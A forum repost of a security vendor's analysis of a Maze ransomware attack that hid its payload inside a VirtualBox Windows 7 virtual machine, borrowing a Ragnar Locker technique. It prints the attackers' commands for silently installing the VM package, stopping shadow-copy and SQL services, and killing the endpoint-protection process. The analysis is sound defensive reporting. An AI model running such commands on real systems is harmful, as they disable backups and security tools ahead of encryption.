Jump to content
Kev

Maze attackers adopt Ragnar Locker virtual machine technique

Recommended Posts

Under pressure to evade detection by endpoint protection, ransomware criminals try a more radical approach

 

maze-ransom-note.png

 

While conducting an investigation into an attack in July in which the attackers repeatedly attempted to infect computers with Maze ransomware, analysts with Sophos’ Managed Threat Response (MTR) discovered that the attackers had adopted a technique pioneered by the threat actors behind Ragnar Locker earlier this year, in which the ransomware payload was distributed inside of a virtual machine (VM).

 

In the Maze incident, the threat actors distributed the file-encrypting payload of the ransomware on the VM’s virtual hard drive (a VirtualBox virtual disk image (.vdi) file), which was delivered inside of a Windows .msi installer file more than 700MB in size. The attackers also bundled a stripped down, 11 year old copy of the VirtualBox hypervisor inside the .msi file, which runs the VM as a “headless” device, with no user-facing interface.

 

maze-virtual-disk-1.png

 

The Maze-delivered virtual machine was running Windows 7, as opposed to the Windows XP VM distributed in the Ragnar Locker incident. A threat hunt through telemetry data initially indicated the attackers may have been present on the attack target’s network for at least three days prior to the attack beginning in earnest, but subsequent analysis revealed that the attackers had penetrated the network at least six days prior to delivering the ransomware payload.

 

The investigation also turned up several installer scripts that revealed the attackers’ tactics, and found that the attackers had spent days preparing to launch the ransomware by building lists of IP addresses inside the target’s network, using one of the target’s domain controller servers, and exfiltrating data to cloud storage provider Mega.nz.

 

The threat actors initially demanded a $15 million ransom from the target of the attack. The target did not pay the ransom.

 

How the attack transpired

Subsequent analysis by the MTR team revealed that the attackers orchestrated the attack using batch files, and made multiple attempts to maliciously encrypt machines on the network; The first iteration of ransomware payloads were all copied to the root of the %programdata% folder, using the filenames enc.exe, enc6.exe, and network.dll. The attackers then created scheduled tasks that would launch the ransomware with names based on variants of Windows Update Security or Windows Update Security Patches.

 

The initial attack did not produce the desired result; The attackers made a second attempt, with a ransomware payload named license.exe, launched from the same location. But before they launched it, they executed a script that disabled Windows Defender’s Real-Time Monitoring feature.

 

maze-wmic-kill-defender.png

 

The attackers then, once again, executed a command that would create a scheduled task on each computer they had copied the license.exe payload to, this time named Google Chrome Security Update, and set it up to run once at midnight (in the local time zone of the infected computers).

 

googlechrome-maze-script.png

 

These detections indicate that the ransomware payloads were being caught and quarantined on machines protected by Sophos endpoint products before they could cause harm. Sophos analysts started to see detections that indicated the malware was triggering the Cryptoguard behavioral protections of Intercept X. In this case, Cryptoguard was preventing the malware from encrypting files by intercepting and neutralizing the Windows APIs that the ransomware was attempting to use to encrypt the hard drive.

 

So the attackers decided to try a more radical approach for their third attempt.

 

Weaponized virtual machine

The Maze attackers delivered the attack components for the third attack in the form of an .msi installer file. Inside of the .msi was an installer for both the 32-bit and 64-bit versions of VirtualBox 3.0.4. This version dates back to 2009 and is still branded with its then-publisher’s name, Sun Microsystems.

 

The .msi also contains a 1.9GB (uncompressed) virtual disk named micro.vdi, which itself contains a bootable partition of Windows 7 SP1, and a file named micro.xml that contains configuration information for the virtual hard drive and session.

 

The root of that virtual disk contained three files associated with the Maze ransomware: preload.bat, vrun.exe, and a file just named payload (with no file extension), which is the actual Maze DLL payload.

The DLL file has a different, internal name for itself.

 

maze-dll-export-table-internal-name.png

 

The preload.bat file (shown below) modifies the computer name of the virtual machine, generating a series of random numbers to use as the name, and joins the virtual machine to the network domain of the victim organization’s network using a WMI command-line function.

 

maze-preloadbat.png

 

The virtual machine was, apparently, configured in advance by someone who knew something about the victim’s network, because its configuration file (“micro.xml”) maps two drive letters that are used as shared network drives in this particular organization, presumably so it can encrypt the files on those shares as well as on the local machine. It also creates a folder in C:\SDRSMLINK\ and shares this folder with the rest of the network.

 

At some point (it’s unclear when and how, exactly, it accomplished this), the malware also writes out a file named startup_vrun.bat. We found this file in c:\users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Startup, which means it’s a persistence mechanism that relies on the computer rebooting before the attackers launch the malware.

 

The script copies the same three files found on the root of the VM disk (the vrun.exe and payload DLL binaries, and the preload.bat batch script) to other disks, then issues a command to shut down the computer immediately. When someone powers the computer on again, the script executes vrun.exe.

 

maze-startup_vrun-bat-file.png

 

The C:\SDRSMLINK\ folder location, created when the .msi file first runs, acts as a clearinghouse for specific folders the malware wants to track. It’s full of symbolic links (symlinks, similar to Windows shortcuts) to folders on the local hard drive.

 

maze-sdrsmlink.png

 

The Ragnar Locker connection

The technique used in the third attack is completely different to those used before by the threat actors behind Maze, but the investigators recognized it immediately because the team who responded to this Maze attack are the same team that responded to the Ragnar Locker ransomware attack, where the technique was first seen.

 

rag-vdi-files.jpg

In an earlier attack, Ragnar Locker also deployed a virtual machine in an attempt to bypass protection measures

 

In Sophos’ earlier reporting about Ragnar Locker, we wrote that “Ragnar Locker ransomware was deployed inside an Oracle VirtualBox Windows XP virtual machine. The attack payload was a 122 MB installer with a 282 MB virtual image inside—all to conceal a 49 kB ransomware executable.” MITRE has subsequently added this technique to its ATT&CK framework.

 

The Maze attackers took a slightly different approach, using a virtual Windows 7 machine instead of XP. This significantly increased the size of the virtual disk, but also adds some new functionality that wasn’t available in the Ragnar Locker version. The threat actors bundled a VirtualBox installer and the weaponized VM virtual drive inside a file named pikujuwusewa.msi. The attackers then used a batch script called starter.bat.to launch the attack from within the VM.

 

The virtual machine (VM) that Sophos extracted from the Maze attack shows that this (newer) VM is configured in such a way that it allows easy insertion of another ransomware on the attacker’s ‘builder’ machine. But the cost in terms of size is signficant: The Ragnar Locker virtual disk was only a quarter the size of the nearly 2GB virtual disk used in the Maze attack—all just to conceal one 494 KB ransomware executable from detection.

 

MD4nDRA.jpg

 

The attackers also executed the following commands on the host computer during the Maze attack:

 

cmd /c msiexec /qn /i \\<machine-hosting-malware>\frs\pikujuwusewa.msi

 

This ran the Microsoft Installer that installs VirtualBox and the virtual hard drive.

 

C:\Windows\System32\cmd.exe /C sc stop vss

 

They stop the Volume Shadow Copy service; the ransomware itself includes a command to delete existing shadow copies.

 

C:\Windows\System32\cmd.exe /C sc stop sql

 

They halt SQL services to ensure that they can encrypt any databases.

 

C:\Windows\System32\cmd.exe /C taskkill /F /IM SavService.exe

 

They attempt to stop Sophos endpoint protection services (which fails).

 

C:\Windows\System32\cmd.exe /C sc start VBoxDRV

 

Finally, they start the VirtualBox service and launch the VM.

 

The future of ransomware?

The Maze threat actors have proven to be adept at adopting the techniques demonstrated to be successful by other ransomware gangs, including the use of extortion as a means to extract payment from victims. As endpoint protection products improve their abilities to defend against ransomware, attackers are forced to expend greater effort to make an end-run around those protections.

 

Sophos endpoint products detect components of this attack as Troj/Ransom-GAV or Troj/Swrort-EG. Indicators of compromise can be found on the SophosLabs Github.

 

Source

  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...